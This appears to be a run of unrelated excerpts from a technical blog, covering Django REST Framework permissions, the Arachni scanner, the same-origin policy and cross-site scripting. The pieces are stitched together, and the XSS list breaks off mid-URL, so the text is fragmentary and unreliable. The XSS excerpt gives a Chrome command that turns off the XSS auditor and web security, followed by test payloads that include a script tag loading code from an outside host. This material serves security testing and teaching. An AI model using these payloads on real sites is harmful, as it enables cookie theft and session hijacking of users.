1. Permission Management in DRF Permission management in Django REST Framework consists of two parts. One is Authentication. It specifies how the user is authenticated, obtaining request.user. The other is Permissions. It performs permission control over Django resources and user categories. 1.1 Authentication Methods The relevant source is in the rest_framework/authentication.

Arachni is a web security vulnerability scanner built on the Ruby on Rails framework. 1. Ruby on Rails Ruby on Rails, abbreviated ROR, is a web framework that consists of two parts: the Ruby language and the Rails framework. Ruby had always been popular in Japan, until 2004, when a 26-year-old Dane, David Heinemeier Hansson, proposed the web framework Rails.

1. Same-Origin Policy The same-origin policy is the cornerstone of browser security. The definition of same-origin covers three aspects: Same protocol Same domain Same port Scope of the restrictions: Cookie, LocalStorage, and IndexDB cannot be read The DOM cannot be obtained AJAX requests cannot be sent Simply put, two URLs whose protocol, domain, and port differ in any way are not allowed to communicate with each other, and the scope covers reading each other’s cookies and DOM and sending AJAX requests.

If you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.

XSS is an attack technique that executes JavaScript in the frontend. With the popularity of UGC sites, the data generated by users has surged, and the ever-denser network of data blocks makes it easier to carry out and spread XSS. The damage XSS causes includes: stealing user cookies and personal information; hijacking sessions and manipulating users’ network data; launching DDoS attacks; tampering with pages, popping up ads, and so on.